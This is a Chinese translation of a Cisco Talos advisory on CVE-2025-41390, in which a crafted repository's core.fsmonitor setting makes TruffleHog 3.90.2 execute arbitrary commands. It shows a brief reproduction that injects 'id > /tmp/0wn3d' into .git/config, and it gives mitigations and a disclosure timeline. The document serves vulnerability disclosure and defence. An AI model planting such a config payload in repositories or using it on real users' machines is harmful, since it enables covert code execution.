TruffleHog Git任意代码执行漏洞深度解析

本文详细分析了TruffleHog 3.90.2版本中存在的Git任意代码执行漏洞,攻击者可通过恶意仓库触发fsmonitor钩子实现代码执行,涉及漏洞原理、复现步骤和修复建议。

TALOS-2025-2243 || Cisco Talos漏洞报告

CVE编号

CVE-2025-41390

概述

Truffle Security Co.的TruffleHog 3.90.2版本中的Git功能存在任意代码执行漏洞。 specially crafted的恶意仓库可导致任意代码执行。攻击者可通过提供恶意仓库来触发此漏洞。

确认受影响的版本

以下版本经过Talos测试或验证,或由供应商确认为受影响版本: Truffle Security Co. TruffleHog 3.90.2

产品链接

TruffleHog - https://trufflesecurity.com/trufflehog

CVSSv3评分

7.8 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-829 - 来自不受信任控制范围的功能包含

详细说明

TruffleHog是一款开源工具,旨在帮助开发人员和安全团队检测可能意外提交到版本控制系统(如Git)中的秘密信息,如API密钥、密码和凭据。它会扫描存储库中高熵字符串和类似敏感信息的模式,帮助组织防止数据泄露并维护安全的编码实践。

客户端Git钩子通常是位于.git/hooks目录下的脚本。这些钩子由Git子命令本地执行,用于协助存储库维护、自动化、持续集成(CI)和其他自定义任务。它们不受存储库版本控制,也不会通过git clone复制。

但是,如果通过tar、cp或rsync等方式逐文件复制存储库,钩子将存在于目标位置,并且有多种情况可能意外触发它们。

一个特别危险的钩子是通过core.fsmonitor配置选项控制的。此设置允许Git调用自定义脚本或程序来优化文件系统监控性能。重要的是,fsmonitor钩子会在诸如git status等操作期间自动触发,这些操作被许多第三方工具(例如IDE、Git GUI或CI代理)隐式使用,无需用户显式调用。

如果攻击者设法将恶意的core.fsmonitor值注入到存储库的.git/config文件中,例如通过:

  • 制作具有特制本地配置的恶意Git存储库,
  • 将存储库压缩成存档并通过电子邮件或文件共享传递给受害者,
  • 让受害者在易受攻击的应用程序中打开存储库,该应用程序会触发Git操作(如git status),

这可能导致在受害者不知情的情况下在其机器上执行任意命令。

TruffleHog Git存储库扫描器使用具有默认设置的git客户端,这会导致Git从存储库的.git/config文件中读取配置值。如果存在恶意的fsmonitor属性,则可能导致任意命令执行,因为Git会在某些操作(例如git status)期间自动调用指定的命令。

测试场景演示

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
tester@tester-Virtual-Machine:~$ mkdir EvilRepo
tester@tester-Virtual-Machine:~$ cd EvilRepo/
tester@tester-Virtual-Machine:~/EvilRepo$ git init
tester@tester-Virtual-Machine:~/EvilRepo$ echo 'fsmonitor = "id > /tmp/0wn3d"' > .git/config
tester@tester-Virtual-Machine:~/EvilRepo$ cat .git/config 
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    fsmonitor = "id > /tmp/0wn3d"

tester@tester-Virtual-Machine:~/EvilRepo$ file /tmp/0wn3d
/tmp/0wn3d: cannot open `/tmp/0wn3d' (No such file or directory)

使用准备好的存储库,我们可以使用trufflehog进行扫描:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
tester@tester-Virtual-Machine:~/tools$ ./trufflehog git file:///home/tester/EvilRepo/
 TruffleHog. Unearth your secrets. 

2025-07-28T20:36:25+02:00	info-0	trufflehog	running source	{"source_manager_worker_id": "fpRQ7", "with_units": true}
2025-07-28T20:36:25+02:00	info-0	trufflehog	scanning repo	{"source_manager_worker_id": "fpRQ7", "unit_kind": "dir", "unit": "/home/tester/EvilRepo/", "repo": "/home/tester/EvilRepo/"}
2025-07-28T20:36:25+02:00	info-0	trufflehog	finished scanning	{"chunks": 0, "bytes": 0, "verified_secrets": 0, "unverified_secrets": 0, "scan_duration": "10.608999ms", "trufflehog_version": "3.90.2", "verification_caching": {"Hits":0,"Misses":0,"HitsWasted":0,"AttemptsSaved":0,"VerificationTimeSpentMS":0}}
tester@tester-Virtual-Machine:~/tools$ file /tmp/0wn3d 
/tmp/0wn3d: ASCII text
tester@tester-Virtual-Machine:~/tools$ cat /tmp/0wn3d 
uid=1(daemon) gid=1(daemon) groups=1(daemon)

缓解措施

客户端git钩子应在系统级别默认禁用。如果不可能,则应通过添加CLI选项来覆盖危险的配置选项来修补受影响的工具。示例:git -c core.fsmonitor="" status

开发人员和工具作者应谨慎对待此攻击向量,避免盲目信任来自不受信任源的Git配置。

供应商响应

供应商公告:https://trufflesecurity.com/blog/contributor-spotlight-adam-reiser-of-cisco-talos

时间线

  • 2025-08-19 - 初始供应商联系
  • 2025-08-19 - 供应商披露
  • 2025-10-17 - 供应商补丁发布
  • 2025-10-20 - 公开发布

致谢

Cisco ASIG的Adam Reiser

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计